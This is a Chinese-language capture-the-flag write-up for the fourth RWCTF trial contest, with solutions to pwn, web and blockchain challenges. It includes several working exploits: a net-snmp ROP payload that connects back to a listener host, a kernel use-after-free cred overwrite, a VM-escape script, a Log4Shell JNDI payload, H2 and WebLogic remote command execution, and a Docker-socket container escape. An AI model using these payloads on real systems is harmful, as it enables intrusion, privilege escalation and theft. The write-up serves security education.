Pwn
Secured Java
该赛题比赛期间共有0支战队解出
题目允许选手上传一个 Java 源码文件和一个 jar 文件,编译并以空的 security manager 策略运行。严格限制的 security manager 很难被绕过,需要利用未受限的编译阶段完成 flag 文件的读取。
Java 提供了 Annotation Processor 机制,能够在编译时和运行时对代码中的注解(Annotation) 处理,可用于实现代码生成,运行时依赖注入等功能。此处我们可以利用 Annotation Processor 在编译时执行 jar 中代码,读取 flag 文件并输出。解题步骤参考如下:
-
实现一个扩展 javax.annotation.processing.AbstractProcessor 的类,在处理函数或 static 中读取 flag 输出
-
打包为一个符合要求的 jar (为了能自动加载上一步实现的 Processor,需要把类名加入到 META-INF/services/javax.annotation.processing.Processor 中)
-
将 Java 源码文件和 jar 文件发送到远程服务,获取 flag
详细步骤可以参考 https://www.kalmarunionen.dk/writeups/2022/rwctf/secured-java/。
Remote Debugger
该赛题比赛期间共有39支战队解出
远程是一个 gdbserver 使用 gdb 来连接:
(gdb) target remote up:1234
然后可以有多种方式来获取 flag。比如可以先 shellcode 到内存,然后执行。
另外还有一种简单的方法是直接 remote get /flag flag
因为 gdb 命令就支持,所以其实这样更简单了。
Be-an-IoT-Hacker
该赛题比赛期间共有0支战队解出
aarch64架构的openwrt上运行着net-snmp,其中包含一个存在溢出的自定义oid handler。
逆向/usr/bin/snmpd
sub_427B40中初始化了oid为1.3.6.1.4.1.23333.1的deviceMean,调用sub_41F6E8(为net-snmp的netsnmp_create_handler_registration函数,用来注册handler回调) 将sub_427BBC注册在对应oid上。sub_427BBC中对set action的处理没有对长度进行校验并将输入拷贝到栈与data段。rop调用mprotect将data段增加执行权限并跳过去执行。
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#coding=utf-8
from http.client import PAYMENT_REQUIRED
from os import O_ASYNC
from easysnmp import snmp_get,snmp_set
import struct
from pwn import cyclic
from pwn import p64
from pwn import asm
from pwn import shellcraft
from pwn import context
context.arch = "aarch64"
HOST = ""
PORT = 161
LHOST = ""
OID = "1.3.6.1.4.1.23333.1.0"
payload = b""
payload += p64(0x4DE400)*(136//8)
payload += p64(0xdeadbeef)
payload += p64(0x493F88)
payload += p64(0x589088)*8
payload += p64(0)
payload += p64(0x493F68)
payload += p64(0)
payload += p64(0x589000)
payload += p64(0x1000)
payload += p64(0x7)
payload += p64(1)
payload += p64(0x589088)
payload += p64(0)
payload += p64(0x5891c8)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += asm(shellcraft.connect(LHOST,4444,'ipv4'))
payload += asm(shellcraft.cat("/flag", fd=7))
snmp_set(OID,payload.decode("latin"),type="OCTETSTR",hostname=HOST,remote_port=PORT,community="public",version=2)
Digging into Kernel
该赛题比赛期间共有22支战队解出
存在权限管理问题,可以通过cat /etc/inid.d/rcS 读取Flag
随后修复非预期漏洞后,观察模块xkmod可以发现在初始化函数xkmod_init中,程序申请了一个slab来管理0xc0大小的堆块
int __cdecl xkmod_init()
{
kmem_cache *v0; // rax
printk(&unk_1E4);
misc_register(&xkmod_device);
v0 = (kmem_cache *)kmem_cache_create("lalala", 192LL, 0LL, 0LL, 0LL);
buf = 0LL;
s = v0;
return 0;
}
在xkmod_ioctl函数中定义了堆的申请和读写操作「基于上面创建的slab」
__int64 __fastcall xkmod_ioctl(__int64 fd, int cmd, void *value)
{
__int64 v4; // [rsp+0h] [rbp-20h] BYREF
unsigned int v5; // [rsp+8h] [rbp-18h]
unsigned int v6; // [rsp+Ch] [rbp-14h]
unsigned __int64 v7; // [rsp+10h] [rbp-10h]
v7 = __readgsqword(0x28u);
if ( !value )
return 0LL;
copy_from_user(&v4, value, 16LL);
if ( cmd == 107374182 )
{
if ( buf && v6 <= 0x50 && v5 <= 0x70 )
{
copy_from_user((char *)buf + (int)v5, v4, (int)v6);
return 0LL;
}
}
else
{
if ( cmd != 125269879 )
{
if ( cmd == 17895697 )
buf = (void *)kmem_cache_alloc(s, 3264LL);
return 0LL;
}
if ( buf && v6 <= 0x50 && v5 <= 0x70 )
{
copy_to_user(v4, (char *)buf + (int)v5);
return 0LL;
}
}
return xkmod_ioctl_cold();
}
最后在xkmod_release函数中定义了堆块的释放操作,并且没有将指针置空,存在UAF
在本题所用的Linux Kernel 5.4.38版本中, 与进程cred结构生成相关的slab cred_jar,其管理的堆块大小也是0xC0,而根据内核的slab管理机制,会优先分配相同大小的slab,所以xkmod_init中创建的slab其实就是cred_jar。
因此,本题的解题思路为
-
通过xkmod_ioctl申请一个堆块
-
释放该堆块
-
fork一个进程,新进程会申请刚刚释放的堆块存放cred
-
通过UAF修改子进程的cred,将uid、gid等置为0,完成提权
EXP:
#include <stdio.h>
#include <sys/types.h>
#include <sys/io.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <wait.h>
struct param
{
void *as;
int start;
int len;
};
struct param *p;
void alloc(int fd)
{
ioctl(fd, 0x1111111, p);
}
void rd(int fd)
{
ioctl(fd, 0x7777777, p);
}
void wt(int fd)
{
ioctl(fd, 0x6666666, p);
}
int main(int argc, char const *argv[])
{
int fd = open("/dev/xkmod", O_RDONLY);
if (fd < 0)
{
puts("[*]open error!");
exit(0);
}
puts("[*]alloc from cache");
p = malloc(sizeof(struct param));
p->as = malloc(0x100);
alloc(fd);
close(fd);
int pid = fork();
if (pid < 0)
{
puts("[*]fork error!");
exit(0);
}
if (pid == 0)
{
puts("[*]this is child process!");
fd = open("/dev/xkmod", O_RDONLY);
memset(p->as, 0, sizeof(p->as));
p->start = 0;
p->len = 0x28;
wt(fd);
system("/bin/sh");
exit(0);
}
else
{
puts("[*]this is child process!");
int status;
wait(&status);
}
return 0;
}
Be-a-Docker-Escaper
该赛题比赛期间共有16支战队解出
仔细观察user-data中的docker启动命令
docker run -i -m 128m -v /var/run/docker.sock:/s
使用-v 将docker daemon socket映射到了容器中。可以使用此socker控制容器外的docker。直接使用-v映射flag或者启动特权容器逃逸即可
sed -i "s/http://archive.ubuntu.com/http://mirrors.aliyun.com/g" /etc/apt/sources.list
sed -i "s/http://security.ubuntu.com/http://mirrors.aliyun.com/g" /etc/apt/sources.list
apt update
DEBIAN_FRONTEND="noninteractive" apt-get -y install docker.io
docker -H unix:///s run -i --privileged ubuntu bash
mkdir /tmp/a
mount /dev/sda1 /tmp/a
chmod 777 /tmp/a/root/flag
cat /tmp/a/root/flag
Be-a-VM-Escaper
该赛题比赛期间共有5支战队解出
题目实现了一个简单的基于栈的虚拟机lvm,实现了多种指令:
enum impl_instr {
NOP = 0, /* no-op */
/* Registers/stack */
PUSH, /* push a constant */
POP, /* pop from stack */
POPS, /* pop from the stack into register no. (argument) */
STORE, /* save to register no. (argument) */
LOAD, /* push from register no. (argument) */
/* Arithmetic */
/* pop twice, do operation then push */
ADD,
SUB,
MUL,
DIV,
REM, /* remainder */
/* Bitwise operators */
/* pop, do operation, then push */
NOT,
AND, /* pop twice */
OR, /* pop twice */
XOR, /* pop twice */
LSHFT, /* pop once, shift popped by arg */
RSHFT, /* pop once, shift popped by arg */
/* Flow control */
JMP, /* jump to line arg */
IFEQ, /* pop twice, jump to line arg if equal */
IFNEQ,
IFZ, /* pop once, jump to line arg if zero */
IFNZ,
/* I/O */
PRINT, /* print top of stack */
PRINC,
POPP, /* print top of stack and pop */
POPPC,
DONE
};
程序的主要问题在于,对寄存器范围的判断使用的是有符号比较,且只判断了上限,所以可以使用`LOAD/STORE`指令,通过寄存器来任意地址读写。
#define CHECK_REG(x)
if (x > REGNO) {
fprintf(stderr, "INVALID REGISTER: ABORTn");
exit(1);
}
因为程序只能接受一次输入,所以虽然存在输出指令`PRINT/POPP`,但是并不能使用这些指令来leak需要的地址。
但是可以通过`SUB`指令,计算出程序基址,libc基址等,并放置在vm的栈上;然后使用`ADD`指令计算出gadget,system,/bin/sh等地址,再通过`STORE`控制程序执行流getshell。
from pwn import *
p = process("./lvm")
libc = ELF("/usr/lib/x86_64-linux-gnu/libc-2.31.so")
def nop():
p.sendline(b"0")
def push(value):
p.sendline(b"1")
p.sendline(str(value).encode("latin"))
def pop():
p.senline(b"2")
def pops(reg):
p.sendline(b"3")
p.sendline(str(reg).encode("latin"))
def store(reg):
p.sendline(b"4")
p.sendline(str(reg).encode("latin"))
def load(reg):
p.sendline(b"5")
p.sendline(str(reg).encode("latin"))
def add():
p.sendline(b"6")
def sub():
p.sendline(b"7")
def mul():
p.sendline(b"8")
def div():
p.sendline(b"9")
def jmp(value):
p.sendline(b"17")
p.sendline(str(value).encode("latin"))
def done():
p.sendline(b"26")
p.sendline(b"28")
# pause()
load(-40)
push(0x1120)
sub()
store(0) # proc_base
load(-27)
push(0x13900)
sub()
store(1)
load(-35)
push(0x662e2)
sub()
store(2) # libc_base
# 0x000000000000101a: ret;
# 0x0000000000002483: pop rdi; ret;
load(0)
push(0x101a)
add()
store(-0x2000000000000000 + 0x9C61)
load(0)
push(0x2483)
add()
store(-0x2000000000000000 + 0x9C62)
load(2)
push(libc.search(b"/bin/sh").__next__())
add()
store(-0x2000000000000000 + 0x9C63)
load(2)
push(libc.symbols["system"])
add()
store(-0x2000000000000000 + 0x9C64)
# load(-0x2000000000000000 + 0x9C61)
# pause()
p.interactive()
Phonograph
该赛题比赛期间共有2支战队解出
the REAL Menu Challenge
该赛题比赛期间共有1支战队解出
import pwn
pwn.context.log_level = "debug"
p = pwn.process("qemu-system-arm -m 64 -nographic -machine vexpress-a9 -monitor null -kernel ./rtos.bin" ,shell=True)
p.recvuntil("change screen img")
flag_addr = 0x60022E60
puts_adddr = 0x60020698
shellcode = ''
shellcode += "ldr r0, =0x60022E60n"
shellcode += "ldr pc, =0x60020698n"
shellcode = pwn.asm(shellcode, arch="arm")
p.sendline(b'a'*0x14 + pwn.p32(0x6045a518) + shellcode)
p.interactive()
Web
1log4flag
该赛题比赛期间共有72支战队解出
POST /doLogin HTTP/1.1
Host: 47.102.135.31:38178
Content-Length: 68
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://47.102.135.31:38178
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://47.102.135.31:38178/login.html
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=C0AA8E4BF2CD55850E48239DB2EB00ED
Connection: close
username=${j${::-n}di:${::-l}dap://your_server:1234/a}&password=b
2Be-a-Database-Hacker
该赛题比赛期间共有71支战队解出
python redis-attack.py -r 192.168.1.234 -L 192.168.1.2 -p 6379
读取flag
cat /tmp/flag.txt
访问题目地址为h2数据库页面,通过暴破h2数据库密码得到密码为admin@123。
进入h2数据库之后可以利用alias别名,调用java代码进行命令执行
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\A"); return s.hasNext() ? s.next() : ""; }$$;
CALL SHELLEXEC('whoami')
CALL SHELLEXEC('cat /root/flag.txt')
3the Secrets of Memory
该赛题比赛期间共有68支战队解出
2、通过上述线索可联想到springboot actuator未授权访问漏洞。
3、访问目标的/actuator/env 端点,通过env端点发现datasource.username的值为the_datasource_password_is_flag,因此可以知道读取到数据库的连接密码即可获取到flag。
4、访问/actuator/heapdump端点,下载到heapdump文件利用OQL查询即可查询明文的flag
4baby flaglab
该赛题比赛期间共有65支战队解出
python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "sh 1.sh"
cat /tmp/flag.txt
5Ghost Shiro
该赛题比赛期间共有35支战队解出
securityManager.rememberMeManager.cipherKey = ODN6dDZxNzh5ejB6YTRseg==
6Flag Console
该赛题比赛期间共有61支战队解出
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://example.com/rce.xml")
rce.xml:
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[touch /tmp/success2]]></value>
</list>
</constructor-arg>
</bean>
</beans>
7Java Remote Debugger
该赛题比赛期间共有50支战队解出
Blockchain
该赛题比赛期间共有7支战队解出
如图可见,为了让isSvd返回True,我们需要成功调用solve函数。而solve函数会检查调用者是否持有100个以上的鱼人币。那么如何才能获得100个以上的鱼人币呢?根据题目名称的提示,我们来到鱼人币合约的TransferFrom函数。
利用
我们的思路是构造一个攻击者合约,让合约直接给我们的钱包转账101个fishmenToken即可。
合约代码如下
随后调用题目合约的isSolved()函数。即可将isSvd设为True;解题成功。
原文始发于微信公众号(长亭安全课堂):赛题全解|第四届 RWCTF 体验赛 WriteUp